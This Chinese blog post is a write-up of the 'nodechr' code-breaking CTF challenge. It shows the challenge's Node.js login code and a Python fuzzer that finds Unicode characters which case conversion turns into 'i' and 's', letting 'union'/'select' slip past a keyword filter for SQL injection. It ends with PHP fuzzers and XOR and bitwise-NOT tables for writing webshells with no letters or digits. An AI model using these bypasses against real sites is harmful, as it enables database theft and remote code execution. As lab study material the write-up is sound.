• 1. Circles - Post
  • 2. Hollywood's_Bleeding - Post
  • 3. A_Thousand_Bad_Times - Post
  • 4. Allergic - Post
  • 5. Happier - Marshmello
  • 6. Here_With_Me - Marshmello

前言

今天做了一下欠了很久的code-breaking,前面已经陆陆续续把简单的php题给清理了,但今天这个nodechr,做起来还是非常有趣的,也了解了python和js函数的一些特性,这里也把P神之前的无字母数字构造webshell做个fuzz小总结

Part1-nodechr题解

同样在github上下载好docker文件,在本地进行搭建,点进去发现是一个登陆框,随意输入一个admin&admin,便登陆进去了,我们发现了一个问题,这里将我们的admin转换成了大写

然后这里我们就没辙了,虽然怀疑是sql注入,但是没有源码不好判断,而P神出题一般都是提供源码的,于是就用脚本扫了扫,找到了一个非常可疑的source目录

进去便找到了源码,具体源码如下:

// initial libraries
const Koa = require('koa')
const sqlite = require('sqlite')
const fs = require('fs')
const views = require('koa-views')
const Router = require('koa-router')
const send = require('koa-send')
const bodyParser = require('koa-bodyparser')
const session = require('koa-session')
const isString = require('underscore').isString
const basename = require('path').basename

const config = JSON.parse(fs.readFileSync('../config.json', {encoding: 'utf-8', flag: 'r'}))

async function main() {
    const app = new Koa()
    const router = new Router()
    const db = await sqlite.open(':memory:')

    await db.exec(`CREATE TABLE "main"."users" (
        "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
        "username" TEXT NOT NULL,
        "password" TEXT,
        CONSTRAINT "unique_username" UNIQUE ("username")
    )`)
    await db.exec(`CREATE TABLE "main"."flags" (
        "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
        "flag" TEXT NOT NULL
    )`)
    for (let user of config.users) {
        await db.run(`INSERT INTO "users"("username", "password") VALUES ('${user.username}', '${user.password}')`)
    }
    await db.run(`INSERT INTO "flags"("flag") VALUES ('${config.flag}')`)
//这里清清楚楚的显示了flag在哪
    router.all('login', '/login/', login).get('admin', '/', admin).get('static', '/static/:path(.+)', static).get('/source', source)

    app.use(views(__dirname + '/views', {
        map: {
            html: 'underscore'
        },
        extension: 'html'
    })).use(bodyParser()).use(session(app))
    
    app.use(router.routes()).use(router.allowedMethods());
    
    app.keys = config.signed
    app.context.db = db
    app.context.router = router
    app.listen(3000)
}
//分割线以上主要是一些初始化的操作,比如数据库建立等
function safeKeyword(keyword) {
    if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
        return keyword
    }

    return undefined
}
//注意这里过滤掉了很多字符,其中最关键的select被过滤掉了,在select被过滤的情况下是无法读取数据的
async function login(ctx, next) {
    if(ctx.method == 'POST') {
        let username = safeKeyword(ctx.request.body['username'])
        let password = safeKeyword(ctx.request.body['password'])

        let jump = ctx.router.url('login')
        if (username && password) {
            let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
//注意这里进行了转换为大写的操作
            if (user) {
                ctx.session.user = user

                jump = ctx.router.url('admin')
            }

        }

        ctx.status = 303
        ctx.redirect(jump)
    } else {
        await ctx.render('index')
    }
}

async function static(ctx, next) {
    await send(ctx, ctx.path)
}

async function admin(ctx, next) {
    if(!ctx.session.user) {
        ctx.status = 303
        return ctx.redirect(ctx.router.url('login'))
    }

    await ctx.render('admin', {
        'user': ctx.session.user
    })
}

async function source(ctx, next) {
    await send(ctx, basename(__filename))
}

main()

大致读了读源码,node.js真的不是很熟悉,只是看懂了大概,大致意思是起初进行了数据库插入,设置路由等操作,后面就是一个判断登陆的函数了,这里首先进行了一次过滤判断是否有union,select等字符串,然后经过校验,便对输入的参数进行了转换大写的操作,正是这部转换大写的操作,导致了过滤出现问题。

PS:看了大佬的wp知道了,js里的转换大小写的方法和python里面转换大小写的方法是差不多的,下面是fuzz的代码太菜了最后只能写个三层循环

from urllib import parse

def create_list(string):
    list1=[]
    for i in string:
        for j in string:
            char1="%"+i+j
            list1.append(char1)
    return list1
#生成16进制所有字符组合的一个列表
def upper_fuzz(list1,num):
    if num==1:
        for i in list1:
            fuzz = i
            url_char = parse.unquote(fuzz)
            if (len(url_char.upper()) == 1 and ('0' <= url_char.upper() <= '~')):
                print(fuzz + "(" + url_char + ")" + " To_upper => " + url_char.upper())
    if num==2:
        for i in list1:
            for j in list1:
                fuzz = i + j
                url_char = parse.unquote(fuzz)
                if (len(url_char.upper()) == 1 and ('0' <= url_char.upper() <= '~')):
                    print(fuzz + "(" + url_char + ")" + " To_upper => " + url_char.upper())
    if num==3:
        for i in list1:
            for j in list1:
                for k in list1:
                    fuzz = i + j + k
                    url_char = parse.unquote(fuzz)
                    if (len(url_char.upper()) == 1 and ('0' <= url_char.upper() <= '~')):
                        print(fuzz + "(" + url_char + ")" + " To_upper => " + url_char.upper())
#设置范围在'0'到'~'是因为我们一般常用的字符在这个范围,然后在某个时候两个或者三个url编码的时候无法表示一个字符了,这里就需要过滤一下结果,因此这里给了个长度判断
def lower_fuzz(list1,num):
    if num == 1:
        for i in list1:
            fuzz = i
            url_char = parse.unquote(fuzz)
            if (len(url_char.lower()) == 1 and ('0' <= url_char.lower() <= '~')):
                print(fuzz + "(" + url_char + ")" + " To_lower => " + url_char.lower())
    if num == 2:
        for i in list1:
            for j in list1:
                fuzz = i + j
                url_char = parse.unquote(fuzz)
                if (len(url_char.lower()) == 1 and ('0' <= url_char.lower() <= '~')):
                    print(fuzz + "(" + url_char + ")" + " To_lower => " + url_char.lower())
    if num == 3:
        for i in list1:
            for j in list1:
                for k in list1:
                    fuzz = i + j + k
                    url_char = parse.unquote(fuzz)
                    if (len(url_char.lower()) == 1 and ('0' <= url_char.lower() <= '~')):
                        print(fuzz + "(" + url_char + ")" + " To_lower => " + url_char.lower())
#上面两个函数非常类似,都是更具需要生成相应的url编码字符(2字符表示,3字符表示等)
string2="0123456789ABCDEF"
list1=create_list(string2)
lower_fuzz(list1,2)
lower_fuzz(list1,3)
upper_fuzz(list1,2)
upper_fuzz(list1,3)
#python太菜了没有优化写法,也不优雅跑了大概两分钟左右跑出了结果

fuzz代码也很简单,一些小地方也写在注释里面了,我们直接看返回结果吧,

我们看到在某些特定的url编码,这里会直接返回一些非正常的结果,因此实际上js也好,python也好,其中自带的upper()lower()方法实际上是存在缺陷的,而过滤掉的关键词union中的iselect中的s恰好可以用上面fuzz出来的两个特殊字符来代替,然后经过大写的转换复原,这就暗渡陈仓成功了。

并且通过前面的源码阅读,已经将flag的数据所在位置暴露给了我们因此直接进行sql注入得到了flag

Part2:无字符数字webshell的两个fuzz

有关异或的全字符:

fuzz代码:

<?php
error_reporting(0);
$string1="%";
$string2=array("0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F");
for ($i=0;$i<=15;$i++){
    for ($j=0;$j<=15;$j++){
        $fuzz=$string1.$string2[$i].$string2[$j];
        $fuzz_true=urldecode($fuzz);
        $char=$fuzz_true^"`";
        if($char>='0'&&$char<='~') {
            echo $fuzz . "^'`'=>" . $char . "\n";
        }
    }
}

然后输出得到的对应关系为:

%00^'`'=> `
%01^'`'=> a
%02^'`'=> b
%03^'`'=> c
%04^'`'=> d
%05^'`'=> e
%06^'`'=> f
%07^'`'=> g
%08^'`'=> h
%09^'`'=> i
%0A^'`'=> j
%0B^'`'=> k
%0C^'`'=> l
%0D^'`'=> m
%0E^'`'=> n
%0F^'`'=> o
%10^'`'=> p
%11^'`'=> q
%12^'`'=> r
%13^'`'=> s
%14^'`'=> t
%15^'`'=> u
%16^'`'=> v
%17^'`'=> w
%18^'`'=> x
%19^'`'=> y
%1A^'`'=> z
%1B^'`'=> {
%1C^'`'=> |
%1D^'`'=> }
%1E^'`'=> ~
%20^'`'=> @
%21^'`'=> A
%22^'`'=> B
%23^'`'=> C
%24^'`'=> D
%25^'`'=> E
%26^'`'=> F
%27^'`'=> G
%28^'`'=> H
%29^'`'=> I
%2A^'`'=> J
%2B^'`'=> K
%2C^'`'=> L
%2D^'`'=> M
%2E^'`'=> N
%2F^'`'=> O
%30^'`'=> P
%31^'`'=> Q
%32^'`'=> R
%33^'`'=> S
%34^'`'=> T
%35^'`'=> U
%36^'`'=> V
%37^'`'=> W
%38^'`'=> X
%39^'`'=> Y
%3A^'`'=> Z
%3B^'`'=> [
%3C^'`'=> \
%3D^'`'=> ]
%3E^'`'=> ^
%3F^'`'=> _
%50^'`'=> 0
%51^'`'=> 1
%52^'`'=> 2
%53^'`'=> 3
%54^'`'=> 4
%55^'`'=> 5
%56^'`'=> 6
%57^'`'=> 7
%58^'`'=> 8
%59^'`'=> 9
%5A^'`'=> :
%5B^'`'=> ;
%5C^'`'=> <
%5D^'`'=> =
%5E^'`'=> >
%5F^'`'=> ?

有关取反的全字符:

fuzz代码:

<?php
error_reporting(0);
$string1 = "%";
$string2 = array("0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F");
for ($i = 0; $i <= 15; $i++) {
    for ($j = 0; $j <= 15; $j++) {
        $fuzz = $string1 . $string2[$i] . $string2[$j];
        $fuzz_true = urldecode($fuzz);
        $char = ~$fuzz_true;
        if($char>='0'&&$char<='~') {
            echo '~'.$fuzz . " => " . $char . " \n";
        }
    }
}

对应关系为:

~%81 => ~ 
~%82 => } 
~%83 => | 
~%84 => { 
~%85 => z 
~%86 => y 
~%87 => x 
~%88 => w 
~%89 => v 
~%8A => u 
~%8B => t 
~%8C => s 
~%8D => r 
~%8E => q 
~%8F => p 
~%90 => o 
~%91 => n 
~%92 => m 
~%93 => l 
~%94 => k 
~%95 => j 
~%96 => i 
~%97 => h 
~%98 => g 
~%99 => f 
~%9A => e 
~%9B => d 
~%9C => c 
~%9D => b 
~%9E => a 
~%9F => ` 
~%A0 => _ 
~%A1 => ^ 
~%A2 => ] 
~%A3 => \ 
~%A4 => [ 
~%A5 => Z 
~%A6 => Y 
~%A7 => X 
~%A8 => W 
~%A9 => V 
~%AA => U 
~%AB => T 
~%AC => S 
~%AD => R 
~%AE => Q 
~%AF => P 
~%B0 => O 
~%B1 => N 
~%B2 => M 
~%B3 => L 
~%B4 => K 
~%B5 => J 
~%B6 => I 
~%B7 => H 
~%B8 => G 
~%B9 => F 
~%BA => E 
~%BB => D 
~%BC => C 
~%BD => B 
~%BE => A 
~%BF => @ 
~%C0 => ? 
~%C1 => > 
~%C2 => = 
~%C3 => < 
~%C4 => ; 
~%C5 => : 
~%C6 => 9 
~%C7 => 8 
~%C8 => 7 
~%C9 => 6 
~%CA => 5 
~%CB => 4 
~%CC => 3 
~%CD => 2 
~%CE => 1 
~%CF => 0

这里主要做个记录以后如果用到可以直接查询。

参考文章:

P神传送门: 一些不包含数字和字母的webshell

code-breakingWp: code-breaking全部题解及知识拓展


除非注明,ebounce文章均为原创,转载请以链接形式标明本文地址

本文地址:http://www.ebounce.cn/web/46.html

新评论

captcha
请输入验证码